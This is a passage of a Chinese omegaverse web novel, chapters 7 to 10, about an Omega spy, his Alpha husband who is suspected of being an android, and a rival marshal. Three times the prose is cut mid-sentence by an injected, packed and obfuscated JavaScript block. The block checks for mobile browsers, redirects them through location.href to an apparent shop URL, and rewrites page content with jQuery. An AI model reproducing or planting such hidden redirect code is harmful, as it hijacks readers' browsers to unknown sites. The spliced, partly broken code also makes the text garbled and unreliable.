《深情男配身残志坚[快穿]》 7. 完全标记 钟情下意识上前一步。 严楫和安德烈立刻伸手拦住他,钟情回神,推开他们的手。 “他不会伤害我。”钟情笃定,然后朝安德烈略带歉意道,“失陪了,元帅。” 他不容拒绝地继续向前走去。 研究所二层以上不对开放,即使是联盟最具盛名的两位元帅也不能擅自闯入。严楫心中焦急,面对钟情少有的强硬却无可奈何。安德烈身为外人,更是如此。 亚德里恩的视线一直停在钟情身上。 直到他终于穿过层层阶梯来到他身边,他才像是刚看见楼下两位大元帅的肩章和族徽一样,对他们点头示意。 他们沉默无声地走了一段路。 像是顾及钟情的状况,亚德里恩走得很慢,还时不时停下来等待。他的眼神里有一种莫名的情愫,压制在平静无波的表象下。 钟情起初不知道那是什么。 研究室大门合上,这一方空间只剩下他们两人。亚德里恩突兀地靠近钟情,在他颈边轻嗅。或许并不是在轻嗅,因为钟情感觉不到他的呼吸,只能感到他的视线有如实质般一寸寸滑过他的肌肤。 食欲——这是钟情唯一想到的能描述这种视线的词汇。 亚德里恩终于抬起头。 他像是换了一个人,眼睛里令人恐惧的情愫消失不见,一板一眼地道:“博士找你。” 钟情应了一声,提步离开。 他心中有淡淡的疑虑:似乎之前亚德里恩眼睛的颜色并不是这样,而现在……那双眼睛看上去格外眼熟,就像某种他曾经在哪里见过的黄宝石。 钟情走进罗素博士的专属实验室。 老博士正沉默地站在角落,面色严肃地盯着光屏,似乎遇到了什么难以解决的问题。 “博士。” 钟情的轻唤让罗素博士瞬间回神。这一次他看钟情的眼神没那么冷酷无情,闭上眼睛揉着眉心的时候还显得有几分脆弱。 看来这一次的困难不小。 片刻沉默后,罗素博士语气忧愁地说:“从月球基地带回来的有关七代的程序,当年只破译了很少一部分。现在机构那边有了新的突破,但不是一个好消息。” 钟情:“什么意思?” 罗素博士把一叠资料丢给他:“他们发现了复制信息。” 钟情沉吟:“您的意思是,七代或许不止一个?” “现在还不能确定。”罗素博士再次看向他,疲惫和脆弱在这时候瞬间消失,那双衰老的眼睛浑浊不堪却又精光不断,“我们只能将希望寄托在你身上。” 钟情没太听他说话,他心中疯狂敲系统。 【系统!那个复制信息是什么意思?角色也知道这个世界从大男主变成双男主了吗?】 系统忙道:【这个世界比较高级,世界观的自我完善能力很强,它应该是是感应到支柱分裂,在尽可能地做补救。】 钟情明白了:【它想给安德烈一个合理的身份,把双男主改回大男主?】 系统:【可以这么说。它以为把安德烈设定成严楫的复制人就可以解决这个问题。】 然而任务并没有结束,看来它失败了。 钟情头痛:【真是越帮越乱。】 了解完毕,他一秒切换回现实世界,翻阅着手里那叠资料,一面温和地回应:“我明白。” “不,你不明白。”罗素博士紧盯着他,“你和诺亚是否一直都有避孕措施?” “……”钟情以为自己听错了,“您说什么?” “我一直在等你自己主动提出。仿生人可以模仿人类的情绪、疾病、甚至生死,只有一点他们无法模仿,那就是生育。他们可以靠复制繁殖出无数个自己,但永远无法生育出并非自己却带有自己遗传信息的后代。” 钟情冷静地问:“我记得您曾经说过,诺亚自两百年前起就在联盟游荡。他在很多人身上寄生,只有停留在严楫身上的时候,才让你们捕捉到他存在的信息。既然他是在严楫身上寄生,严楫的遗传物质就等同于他的,我不明白这能证明什么。” 罗素博士摇头:“仿生人的芯片会影响他的生殖系统。如果他不能让你怀孕,你正好可以找借口把他带来研究所做检查。如果他能够让你怀孕……那么,他留在你生殖腔里的东西就会是最好的证据。” 钟情藏在衣袖中的手紧紧攥成拳头。 “博士,您似乎忘了。我现在只是一个重伤等死的Omega。” “你的生殖腔没有受到损伤。你完全可以怀孕,只是无法生下来而已。放心,到时候我们会为你做引产手术。” “严楫未必想要孩子。” 罗素博士露出一丝讥笑:“他无法拒绝你。任何人都无法拒绝你,不是吗?” 钟情轻声问:“可是,我为什么要这么做呢?” “因为这是你的使命。你生来就拥有不亚于Alpha的体质,不就是为了走到诺亚身边,让他爱上你的吗?人类与机器人的战争已经持续了几百年,这是最关键的时刻。诺亚是整个机器人军团的智能中枢,他相当狡猾。伪装人类会让他降低自己的外在防御水平,但是相应的,他会提高内在警惕。但凡行差踏错一步,都会让我们前功尽弃。” 罗素博士死死盯住钟情,“我们要的不是杀死一个诺亚的胜利,而是要消灭所有拥有自我意识的机器人。只有你是最为顺理成章的借口。” 钟情心中冷笑,面上却温驯地应道:“我知道了。” “很好,你总是最让我放心的学生,不管是以前还是现在。”罗素博士满是皱纹的脸上露出一点笑意,“探望你父母的时间快到了。等过几天诺亚休假结束,你可以去首都星看看他们。” 回家的路上,严楫和安德烈都看出来钟情的沉默。 他不肯说究竟发生了什么,严楫也不愿逼他,只有努力逗他开心。 钟情听着严楫在耳边叨叨絮絮,突然开口打断道:“严楫,我们要一个孩子吧。” 严楫瞬间失声。驾驶位上的安德烈手一颤,飞行器轻微趔趄一下,控制权随即被智能系统接管过去。 他们都没意识到这一下突兀的颠簸。 严楫手足无措:“怎、怎么了?是研究所说了什么吗?” 研究所和钟情对外的关系只有医患关系,他们负责他中弹后的身体后续治疗。 钟情知道严楫在担心什么,微笑道:“跟他们无关,只是我想要而已。我想要一个属于我们的孩子。” 飞行器在车库停下。 钟情独自一人进了电梯,严楫被安德烈留下,说是有要事相商。 电梯门关上的一瞬间,安德烈一拳挥向严楫的脸。 严楫硬生生挨下这一拳,没有还手,在下一拳来临时才抬手格挡。 他擦了下嘴角的血迹,痞笑道:“安德烈,你是用什么身份打出这一拳的?学生?还是暗恋者?” 安德烈不回应他的挑衅,冷漠道:“你不该让他有这样的想法。你会害死他。” “所以呢?你是在嫉妒他对我的偏爱?” 安德烈没有否认:“我一直都很嫉妒你。” 严楫沉默片刻,苦笑:“我知道。” * 钟情躺在床上,身后是Alpha火热的怀抱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163281|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟情的信息素是苦桃味,甜滋滋的桃子清香中融有一丝若有若无的苦涩,中和得恰到好处。但此刻桃子的味道被霸道张扬的玫瑰味信息素压制得七零八落,它突兀得横插一脚,窗外满园真正的玫瑰花香都要在这味道下俯首称臣。 这是严楫的信息素。 严楫在他身上留下了一个近似炫耀和震慑的完全标记。 完全标记需要打开生殖腔,从前严楫顾及他的身体,从来没有这样做过。他或许一辈子也不会这么做,如果不是钟情主动压着他做的话。 钟情现在正感受着一个完全标记会给Omega带来的感受。 没有人会怀疑钟情想要为严楫生一个孩子的动机,罗素博士说他是最顺理成章的借口,确实如此。 两百年前的基因编辑实验创造出Alpha和Omega两种新的性别。前者为了满足联盟外扩征伐的需求,后者为了满足人类繁殖欲望。 基因带来的影响绝非后天可以弥补的。就算钟情的体质再怎么特殊,也不可避免。 这具身体的变化他再了解不过。 在他还是一个战士的时候,腺体因为抑制剂的压制,他显得和其他Alpha战士一样坚强而韧性,甚至比他们还要强大。 但是意外之后,为了自保他不得不选择结婚,腺体在受到S级Alpha的标记后,这具身体就变成了一个传统意义上的Omega。 而现在,他的精神也开始想要变成一个Omega。 柔软、多情、黏人,离开Alpha就难以升起活下去的勇气——只有这样才能保证他们对Alpha的忠贞,才会让他们愿意源源不断地生育,以此来挽留他们的爱人。 钟情静静对抗着完全标记对精神的侵蚀。 录音笔就放在枕头下。这是研究所特制的设备,虽然功能单一,但却能躲过仿生人的监测系统——这就是罗素博士这段时间给他布下的任务。 钟情伸手握住它,让笔尖刺痛他的掌心。 严楫已经起床下楼。 他一向醒得很早,Alpha强大的生理优势让他哪怕昨晚凌晨时分才停下来抱着人睡下,第二天也依然会在固定时间神采奕奕地起床。 他吃过早餐,又浇过草坪,两个小时后再一次回到卧房,正好看见钟情的睫毛轻轻颤了一下。 茫然和眩晕的感觉持续了十几分钟,钟情终于完全清醒过来。严楫递过来一杯温水,他喝了一口润润发干的嗓子。 他把杯子还给严楫,仰着头看他的时候小小地笑了一下。这个笑容带着略微忧愁的感觉,看得严楫心里一阵苦涩。 他休假的结束得比预定时间还要早两天。军部催得急,不容他耽搁。 他摸摸钟情的头发:“我会很快回来的,别难过。” 钟情没说话。他拉着严楫的衣角,把头轻轻靠在他的腰腹。 吃过早饭后,钟情照例去照顾他的花。 他看花,严楫便坐在摇椅上看他。 前来送行的安德烈走进院子里时,看见的就是他们在阳光下相对而坐却相顾无言的景象。 那样宁静柔和的气氛让他没有第一时间出声,还是严楫注意到他的视线,先一步开口打招呼。 “我就知道你会来。” 安德烈面对他的笑容不为所动。 他沉默着走到圆桌另一边的小凳前坐下,因为凳脚太矮不得不稍稍蜷起身子,那模样看上去莫名有些委屈。 和上一次相比,没有合适的座位,也没有香甜的茶点。 花园的主人只顾着他的花,似乎全然忘记了来访的客人。 8. 胡萝卜花 临行前最后的时光就这样在沉默和花香中度过,严楫倒是很满意。 上星舰前他吻了下钟情的额头。 “你从来都这样珍爱你的花,有时候连我都感到嫉妒。等我回来的时候,你可以摘一朵为我庆功吗?” 钟情勉强笑了一下。 明明是想要表达高兴,眉目间却还是染上几分哀婉的愁绪。 他轻轻抱住严楫,在他肩头轻声喃喃:“你总是这么笨,我所有的花你都可以摘。因为它们都是我为我们的家种的,它们全都是你的。” 严楫的手臂猛地收紧,几乎要将怀里的人揉进骨血。他低头吻过钟情的鼻尖,随后松开手。 “我走了。” 他转身大步离开,直到星舰的舱门关闭也没有再回过头。他克制住回头的欲望,避免索性放弃参战解甲归田的冲动,所以也就不知道身后看着他离开的人已经满脸泪水。 安德烈从来没有见过有人这样大颗大颗地掉眼泪。 他哭起来没有声音,但是一颗接一颗的眼泪就像是砸在心里,比嚎啕大哭还要撕心裂肺,让不相干的旁观者也无端觉得哀恸。 他甚至觉得眼前的人下一秒就要因为过度悲伤而晕倒,但钟情身形只是稍微晃了晃,站稳后在安德烈伸手相扶之前转身走进别墅的大门。 他心里似乎只有远赴战场的丈夫,半点没有察觉到跟在身后的客人,走进别墅后就将门“嘭”的一声关上。 他想止住眼泪,但是鉴于Omega身体的特殊性,眼泪竟然越擦越多。 直到哭了半个小时,累得手指都快抬不起来的时候,他的情绪终于恢复平静。 他手软脚软扶着门站起来,面色是从未有过的冷凝。 他心中带着怒火道:【安德烈也太不识趣了。他如果不来的话,我完全可以不用哭这一场的。】 系统很理智:【以他和严楫的关系,不来才奇怪好吧。】 话虽如此,钟情还是很不高兴。 这是少有的情绪完全被身体掌控的时候。 本来不至于如此,但严楫刚给他补了一个完全标记,腺体受到Alpha信息素的强大影响,让他精神上的所有反抗都变成徒劳。 钟情难以忍受这种徒劳的感觉。 基因编辑让Alpha拥有强大的身体素质和野兽般的直觉,让Omega拥有易受孕和易诞下优秀后代的能力。 可世上不存在只获得而不付出的事情。既然在战斗和繁殖方面超出寻常人,必然就得通过其他方面的缺陷补回来。 脖子上的腺体就是这个缺陷。 每当进入发情期,无论多么纯正的Alpha和Omega都会无法控制自己的信息素,他们会像野兽那样失去理智疯狂交合。 好斗和繁殖都源于野兽的本性,整个基因编辑计划就是消灭一部分人性,用以复苏一部分兽性。 可人类的历史就是智慧发展的历史,智慧不会倒流,只会重塑。 谁也不知道当智慧需要重塑的时候,还拥有着野兽本能的被编辑者们是否会被当做腐朽的根须,从历史的枝干上剪掉。 狡兔死走狗烹,飞鸟尽良弓藏。 机器人的教训已经吃过一次,所以再次面临人口不足的难题时,人类选择对自己的同胞进行基因编辑,似乎笃定这些改造过后的新人类不会像机器人那样在多年后进行反叛。 可他们凭什么这么笃定? 【系统,我听说严楫这次出征,是议院那边的Beta们提议?】 【是的,怎么了?】 【没什么,我只是想到……都说Alpha好斗,可严楫却好几次跟我提起想解甲归田。反倒是掌管的政权的Beta们,在议会上一次次讨论对外扩张的提案。】 系统不解:【他们不是为了掠夺资源吗?】 钟情摇头。 联盟已经扩张到银河系外缘,必要资源在很长一段时间里都不会缺少供应。 本该是停下来休养生息的时候,战争却没有一天停歇,甚至还在变本加厉。可征服外缘那些小恒星能获得的利益,或许还不足以支付联盟金额庞大的军费。 这是一场对外扩张,也是一场对内消耗。 无数alpha战士会在这些战争中死亡,安全区的Beta会继承他们的Omega,生下来的孩子要么和父亲一样是普通的Beta,要么和母亲一样是有着过人生育能力的Omega。 Alpha会渐渐消失。 曾经他们是联盟维护统治的工具,但在他们成为统治阶级新的不稳定因素后,被抛弃就会是他们必然的结局。 相比起强悍易反噬的战争工具,Omega漂亮柔弱,大概不会成为被联盟主动抹杀的存在。 那他们将成为什么呢? Beta不需要他们的信息素安抚,也不一定非要与他们结合。他们变得可有可无,又没有一技之长,很快就会成为社会最低贱的存在。 强行洗去标记、被迫频繁生育、人口市场上几番转手、关起来成为显贵笼中玩物,或者沦为下三滥地界最不堪的娼妓。 无论哪种生死,都比战场上一颗炮弹痛苦肮脏得多。 【统子,其实我自从来到这个位面,就一直在思考一个问题。】 【什么?】 【这具身体为什么能有媲美Alpha的战斗力?】 系统惊讶:【不是你自己练出来的吗?】 钟情道:【这个世界没有灵气,我不能修炼,也就不能靠洗经伐髓改变这具身体。如果我真的只是一个普通的、被编辑过基因的Omega,再怎么炼体也不过是多出几块肌肉。但我能把一个A级的Alpha打趴下,这绝不是Omega能做到的。我想知道,这究竟是世界线的Bug,还是这具身体……的确拥有使命?】 系统呆呆发问:【啥、啥使命?】 钟情沉思着。 Omega们或多或少也会接受一点教育,但初衷都是为了取悦他们的丈夫,而且他们所受的教育不会给他们提供任何一个工作岗位。 只有钟情除外。 他曾经是联盟唯一一名Omega战士,现在是联盟唯一一名Omega教授。 【作为唯一一个能接受军校教育的Omega,这个世界不会有任何一个Omega比我更清楚我们的境遇。非我族类其心必异,所有Alpha和Beta都不可指望。那么,如果这一代的Omega们想要改变命运,我就是唯一的机会。” * 安德烈再次来拜访的时候,仍然先被机器人管家领到天台上。这次的待遇比上次好,虽然还是没有香喷喷的茶点,但总算不用再憋屈地缩在小椅子上。 他在严楫常用的摇椅上坐下,望着玫瑰花旁边的钟情。 安静、温和、精致得像一个梦——原来这就是严楫眼里的他。 空气中有一种奇异而张扬的玫瑰花香。 与严楫离开那天相比变得空旷孤寂起来,是开至荼蘼后跌下枝头的味道,和伊甸园的香气泾渭分明却又彼此交缠,似乎再也容不下其他的存在。 两种花香中突然闯入一丝雪原上针叶林的冷冽味道。它沉默寡言却横冲直撞,像一柄开刃的、折射着日光的剑。 钟情终于回头看向身后的安德烈。 对方轻咳两声,将浑身信息素稍稍收敛了一点。 “严楫的标记过于强势了。” 他们同为顶级S级alpha,信息素的力量旗鼓相当,所以一方留下的标记会让另一方警觉起来,就像一只野兽误入另一只野兽的地盘。 钟情点头表示理解。 这个小插曲总算把他从玫瑰花的海洋里拉出来,他走到安德烈身边坐下,让机器人管家送来小零食。 不是主人亲手做的,安德烈略有遗憾,不过这也聊胜于无。 钟情手里闲下来,脑子却没闲下来,盯着玫瑰丛某处不知想着什么。长久的沉默中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163282|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,安德烈少见地主动抛出话题。 他的聊天技术并不高明,想来想去只想到上次来这里时见到的玻璃花房。 他假装不经意间问起:“你的瑞云殿养得怎么样了?” 没想到钟情在短暂愣神之后,猛地站起来,提着小水壶就往花房里跑,差点被藤椅绊一跤。 安德烈跟过去,看见那些娇贵的白色菊花因为主人的遗忘已经发蔫,丝绸一样的花瓣边缘泛出枯萎的黄气。 腺体这个时候又开始作怪,涌上大脑的情绪在某一瞬间占据了钟情的神经,在他反应过来之前,泪水已经先一步滚落眼眶。 钟情心中暗骂,但当着外人的面还是得完善自己的深情人设。 他苦笑:“让元帅见笑了……离开严楫,我似乎什么也做不好。” 安德烈没有说话。 等到钟情擦干净眼泪平复好情绪,他也还是没有开口说一句话。 最后钟情主动开口佯装轻松:“该吃午饭了,元帅要一起吗?” 安德烈一言不发地跟着他下楼。 去餐厅的路上,钟情没话找话,给安德烈好好介绍了下整座房子的装潢。 安德烈默默听着。许多家具都是军部出品,大体上和旁边他那所别墅没什么两样。但因为有一位Omega主人的缘故,这里角角落落都塞满了意想不到的东西。 比如沙发上的猫咪抱枕,桌角的防撞贴,以及冰箱上的便利贴。 走在身边的人叨叨絮絮,说着这个是严楫喜欢,那个是严楫想要——全都是严楫、严楫、严楫。 两人在餐桌两边坐下。 钟情说得口干舌燥。他也算是口才不错的了,在自己的位面曾与百人舌战论道大获全胜。但此时面对锯嘴葫芦一样的安德烈,也实在是挤不出半点话题。 他都不知道自己究竟是哪句话有问题,安德烈的脸肉眼可见越来越黑。 所以他闭了嘴,吃着吃着突发奇想,在萝卜上雕了朵花逗客人开心。 安德烈捧着萝卜花,姿态僵硬得像捧着一枚炸弹。 他问:“这也是严楫喜欢的吗?” “严楫不喜欢萝卜。”钟情道,“可元帅不是喜欢吗?” 安德烈很慢很慢地抬眼。他看向钟情,怀疑是自己听错了,又或者是在梦里。 “您怎么知道?” “我在食堂见过你几次。”见他还在发愣,钟情觉得奇怪,催促道,“元帅吃呀,我洗过手的。” 他伸出双手在安德烈面前晃晃,表示自己的手真的干干净净。 他的手指洁白颀长,骨节清秀,美中不足的是食指缠着纱布,刚刚雕萝卜的时候被水果刀划伤,还是安德烈帮他包扎的伤口,顺便不经意薅下无名指上的婚戒,丢在洗手台上。 安德烈把那朵萝卜花一口咽下去。 吃进肚子里的萝卜花在身体里生根发芽,种子溶进血液里,顺着血管一路开花,美滋滋地甜到心底。 见他吃了,钟情终于满意:“看来味道不赖,严楫还没见识过我这门手艺呢。等他回来,我就可以给他雕苹果花了。” 空气似乎在一瞬间变冷了。萝卜花失去赖以生存的温床,顷刻间凋谢枯萎,温暖甜美的幻象从安德烈的世界全部抽离。 他清醒过来。 晚饭结束,安德烈起身告辞。 他回到自己家中,往日看惯了的装潢今日显得格外寂寞空旷。回头望去,不远处那座玫瑰洋房两者暖黄色的灯,就像一个头戴花冠的美人,温顺而娴静地站在原地等待着什么。 曾经被强行压制下来的怒气在这个时候终于再次破土而出。 三天时间,两次眼泪,都是因为一个人——那幢房子和房子的主人都在等的人。 那个人在的时候,钟情眼里装着他;那个人不在的时候,钟情心里装着他。 安德烈心中不受控地升起一个阴暗的念头—— 或许只有严楫永远不回来……钟情才能忘了他。 9. 幻觉之中 安德烈第三次来的时候终于不是空手上门。 他带来工具,在钟情不解又期待的眼神里,在院子里扎了一个秋千。 对这个秋千,钟情爱不释手。 自打来到这个世界,他还从来没有玩过秋千,或者说,他从来就没有玩过玩具。 强压之下,联盟的娱乐方式很少,而唯一的Omega战士钟情所有童年时光都是在训练场度过。 安德烈坐在一旁吃着主人家犒劳的小甜品,对秋千起到的作用感到满意。 天台上垂下的玫瑰花依旧被养得很好,一朵一朵花开不败,院落里的橙花和鹿子草则显然是已经很久没有修建过,茂盛的枝叶都要长到路边来。 在这里扎一个秋千并不为别的什么——都是花,当然要雨露均沾,对玫瑰过于关注不是什么好事。 钟情在秋千上晃晃悠悠。 他玩够了才看向安德烈,微笑道:“元帅要有几天不能来蹭吃蹭喝了。” 安德烈拿着小点心的手一顿:“为什么?” 钟情笑眼微弯,看得出真的很开心:“我要去首都星看望我的父母,校长已经准假。” 安德烈不假思索:“我跟你一起去。” 话一出口他就察觉到不妥。似乎过于亲昵了些,到有些冒犯的地步。 但钟情不以为意,轻轻巧巧地答应道:“好呀。” 首都星是联盟的政治中心,横跨整整三个星系。那里有最杰出的人才,最富有的家族,和最隐形的牢笼。 太空星船已经将跃迁的强度放到最低,但钟情还是因为身体难受,整个旅程都昏昏沉沉,飞船停靠后好一会儿,才勉强恢复过来。 钟家其实已经和平民没有什么区别。 之所以还总是被人想起曾是没落的贵族,是因为钟情的父亲是高级知识分子,曾经研究所的杰出人才,诺亚程序破译和特工组织都有他的参与。 作为一名科研人员,他还很年轻,因为某些原因过早赋闲在家里。 他的妻子,也就是钟情的母亲,是一位很美丽的Omega。她的身体也很不好,不是因为基因,而是因为药物。 她违背了Omega的本性,为了避孕找来违禁药物服下,差点因此死在手术室。 付出这样大的代价并不是没有收获,她成功毁掉了自己的生殖腔,所以钟情没有弟弟或妹妹。 司机安德烈被打发出去自己找乐子,钟情留下来和父母单独相处。 三个人沿着僻静的小路慢慢走着。他们聊着稀松平常的小事,多是钟情和母亲说话,父亲在一旁静静地听着,偶尔附和补充两句。 他们的退休生活乏善可陈,钟情婚后近似于家庭主妇的生活也没有什么可聊的。很快就没有话题可谈,又沉默地走了一段路,钟情突然道:“我找不到诺亚身上任何的突破口。” “别急,他是整个机器人军团的智能中枢,当然不是那么好对付的。”开口的是Omega母亲,“我有预感,这次诺曼星系的战争之后,事情一定会有转机。” Alpha父亲也在一旁附和:“和诺曼的这场仗打赢之后,他在军部的势力和威望就要超过许多长辈了。他不会无所作为的,钟情,你要耐心等待。研究所那边有些消息没有瞒着我,我根据它们写了些分析,你有空就看看。” “嗯,我会看的,父亲。” 一家三口还没好好聊上几句就又把话题扯到工作上,顿时也失去散步的心思。 Alpha父亲催促儿子赶紧回家看他写的分析报告,对此母亲只能歉意地看着钟情,没有开口阻止。 钟情刚回到家就被关进书房。 那份分析报告被压在抽屉的最底层,钟情把它翻出来。 这是一份手写的分析报告,字迹刚硬的长篇大论里偶尔插进一些娟秀小巧的补充。 母亲的见解总是一针见血,父亲对此习以为常,甚至不以为意。 钟情刚进入这个世界的时候就意识到这一点,他的母亲有过人的学识和胆魄,但这些东西就像是灯下黑一样被她的父亲和丈夫无视着。 在他们眼里,身体柔弱的母亲和其他Omega没有什么两样。 结婚生子是她唯一的人生选择,才华和胆魄都是便于相夫教子的工具。只有这个世界同为Omega的钟情能看得见母亲作为人而不是Omega的美德。 对Omega的基因编辑要比Alpha难许多,所以Omega数量一直少于Alpha。 为了保证基因的多样性,联盟规定Alpha和Omega一旦结合就不能随意分开。 哪怕钟情的母亲只生下一个Omega儿子就失去了生殖腔,按规定她的丈夫仍然不能与他离婚。 所以他被迫把钟家所有的资源都用来培养唯一的儿子钟情。 在钟情的记忆里,这个男人看过来的视线总是在观察、衡量。 他是在计算他的分量——一个拥有超常身体和心理素质的Omega儿子让他出尽风头,就算后来出事风光不再,却能嫁给川坨数一数二的顶级世家继承人严楫元帅——这么看来,一个Omega儿子不比一个Alpha儿子差。 这个人永远也不会理解他的儿子在想什么,也不会知道他的妻子在想什么。 来到首都星第三天的时候,安德烈去而复返。 钟情看见站在门口的他时有些意外:“元帅?我还以为你会回兰凯斯特家族呢。” 安德烈低头看着他,沉声道:“已经回去过了。” 钟情稍稍让开方便他进门,同时问:“你好不容易休假回家一次,你的父母舍得你两三天就又跑出来吗?” “他们有自己的事情做,”安德烈简短地解释道,“没有你想象得那么在意我。” 这话安德烈说得轻描淡写,却不是一个适合继续追问的话题。 钟情于是转而道:“元帅来得巧了,我们正要吃午餐。我母亲手艺非常好。” 安德烈朝他颔首,跟在他身后进门。 钟父走出书房时看到一个陌生却又脸熟的高大Alpha时愣了愣。 他推了下眼镜,惊诧喊道:“安德烈·兰凯斯特?” 安德烈这才想起他和钟家的长辈并不认识。 钟家的门第早在几十年前就败落到连兰凯斯特家族的宴会请帖也拿不到手的地步,他们两家也并没有任何一丁点能攀上亲戚关系的机会。 他这一次的拜访实际上很不合理。 果然,钟父下一句话就是:“元帅怎么会到这里来?” “在军区他和我们是邻居。”钟情朝安德烈笑笑,转头对父亲继续道,“您帮我招待一下元帅,我去厨房帮妈妈的忙。” 钟父朝他挥手,双眼则盯着安德烈不放:“元帅快坐。” 钟情和母亲一同坐在厨房角落的椅子上,一边听着智能设备烹饪菜肴时机器运转的声音,一边听着客厅里两人的谈话。 房子隔音太好,就算故意留了道门缝,外面说话的声音也仍是隐隐约约的。 钟父把之前的问题又问了一遍:“元帅怎么会到这里来?” 两秒后安德烈才答:“严楫去诺曼之前,托付我照顾……你们。”又是短暂的停顿,他补充道,“我和他之前是联盟军校的同学。” “严楫……他对钟情向来不错。说起联盟军校,钟情也在那里就读过。他是Omega,校方当时更希望他留校任教。他甚至都做过几年助教,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163283|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来还是选择去前线,没想到再后来出了那样的事情。兜兜转转,还是回到学校去了。诶,钟情也就比你们大五届吧?你在学校的时候认不认识他?” 安德烈原本默不作声地听着钟父的感叹,后来话题突兀地扯到他身上,他愣了一下,然后才回答道:“认识。” 偷听到这里,智能设备突然发出一声响动,提醒主人饭已经做好。 角落里的两个Omega都被这声响动吸引了注意力,再回神时客厅里的话题已经变成了战事。 Omega母亲回头朝钟情露出一个有点揶揄的微笑。 “就他现在的表现看来,可真不像是兰凯斯特家族培养出来的孩子。” 钟情问:“怎么说?” “他看上去傻乎乎的。” 钟情有些意外。他倒是没看出来安德烈哪里傻了。 “我当然知道他不傻。那群星盗烧杀抢掠无恶不作,能对付他们的人,城府只会比他们更深,手段只会比他们更残酷。”钟母若有所思,“这么看来,这个人很擅长伪装。” 钟情道:“上一个被妈妈这么评价的人,是严楫。” “严楫在你面前伪装,是因为对你有意图。这位兰凯斯特元帅又是为什么呢?” 见钟情不说话,Omega母亲意味莫名地微笑起来:“难道是一样的理由?” 这几天安德烈来得频繁,还主动提出送他回首都星,看上去的确不太寻常,毕竟当初在军校的时候他们并不是很熟。 可若说他做这些事情完全处于和严楫的友谊,似乎也不太对。 “在学校的时候我是他们的助教,他们宿舍一共四人。除了他,其他三个人都向我表白过。但在我和严楫结婚后,另外两人很快也结婚生子,看起来并没有多么情深。” “你的意思是,他们住在同一个宿舍,除了生活上会受到舍友的影响,感情上也会?” “严楫和他们聊起我的时候,一定用光了他知道的所有表达赞美的词。他的听众也很难不对他话里的主角产生好感,但这种感觉是半真半假的,他们会为我送花、写情书,但稍有意外他们就会及时醒来。” “那兰凯斯特呢?他是别有用意,还是仍在幻觉之中?” 这一次钟情沉默了很久:“我不知道。” 钟母建议道:“你应该试探他一下。” 用过午饭后钟母拉着钟父出门散步,钟情留在家里继续看文件。已经说好告辞的安德烈却在十分钟后折返回来。 见他去而复返,钟情觉得有些好笑:“看来元帅今天来这里,真正想做的事情是要瞒着我父母的。” 房间里只有他们两人,安德烈终于开诚布公:“首都星是我的故乡,终于轮到我做东道主,你不想跟我出去走走吗?” 钟情眼睛亮了一下,但很快想到什么,低头垂眸的样子有些落寞。 “已经结婚的Omega是不应该抛头露面的,元帅难道不知道吗?军区人少清净,没有人管我,可到了首都,我一个人出去就会饱受非议,更何况跟元帅一起呢?” 安德烈声音微冷。 “严家对你不满,无论你做什么他们都会找到说辞。解决不了家里的事情,是严楫无能。” “严楫已经做得很好了,兰凯斯特元帅。”钟情轻柔地指责道,“你和他同为联盟元帅,难道不知道前线有多少事情需要处理吗?如果身在前线却总是为后方的妻子牵肠挂肚,他就不是一个合格的军人,我也不是一个合格的妻子。” 安德烈沉默着,既没有开口辩解,也不向他道歉。 最后还是钟情察觉到气氛微僵,主动退步微笑着开口道:“元帅想带我去哪里呢?不过先说好,得是隐蔽点的地方。” 10. 虫卵宝石 安德烈挑的地方果然很隐蔽。 想要进入这个地方,要乘坐有兰凯斯特家族族徽的飞行器进入特殊航道,在经过层层关卡后,还要打开一扇虹膜扫描验证的金属大门。 开门后,钟情看着房间里面的各种军用设备,来自军人的天性让他瞬间兴奋起来。 很快这种情绪就被按捺住,他双眼亮晶晶的,声音却十分温和克制。 “将军怎么会想到带我来这里?” 安德烈答非所问:“在去军校之前我一直在首都星长大,这里是我待得最久的地方。后来上前线这里不怎么来,但这些设备每年都会更新一次。” 钟情的眼睛更亮了:“所以这里都是最新一代的军用武器?” 看出对面的人明显的高兴,安德烈也终于缓和了脸色。 “是。” “你可以使用这里所有的武器。”安德烈看着已经迫不及待去挑选枪|支的钟情,嘴角浮现一丝微笑,“但是HK416光磁枪你不能碰,它的后坐力太强,会损伤你的身——” 他说晚了一步,钟情已经将光磁抢扛上肩头。 这是枪支类武器中的王者,任何一个军人都不可能舍得放过。 安德烈没再阻拦,他走过去,从后环住钟情,将掌心轻轻垫在他肩头。 枪声响起,子弹正中靶心。 巨大的冲击力被安德烈的手背缓解了一大半,但还是剩下些许撞上钟情的胸口,让他踉跄着后退一步,陷进身后的怀抱中。 